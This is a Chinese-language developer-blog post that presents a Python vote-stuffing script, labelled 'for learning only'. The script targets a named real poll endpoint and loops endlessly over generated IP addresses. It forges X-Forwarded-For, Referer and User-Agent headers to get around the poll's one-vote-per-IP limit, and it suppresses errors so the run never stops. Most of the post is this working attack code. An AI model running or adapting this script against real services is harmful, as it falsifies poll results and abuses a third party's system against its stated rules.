用python写的投票脚本
【摘要】 有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:#!/usr/bin/python3# -*- coding: utf-8 -*-#encoding=utf-8 import urllib.requestimport sysimport ti...
有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
#encoding=utf-8
import urllib.request
import sys
import time
url= "http://policestar.gdtengnan.com/api/vote/add?id=177" #投票提交的数据
while(0<1):
for i in range(12,254):
for j in range(1,254):
for k in range(1,254):
for l in range(1,254):
try:
ip=str(i)+"."+str(j)+"."+str(k)+"."+str(l) #虚拟出无数不同的投票IP
req = urllib.request.Request(url)
req.add_header('Referer','//policestar.gdtengnan.com/')
req.add_header("x-forwarded-for",ip) #应用虚拟出的IP
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0')
r = urllib.request.urlopen(req)
html = r.read()
receive_header = r.info()
html = html.decode('utf-8').encode(sys.getfilesystemencoding())
print (receive_header)
print ('#####################################')
print (html)
#time.sleep( 1 )
except(Exception):
print (1) #出错时输出(随意)防止脚本中断
【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
作者其他文章
评论(0)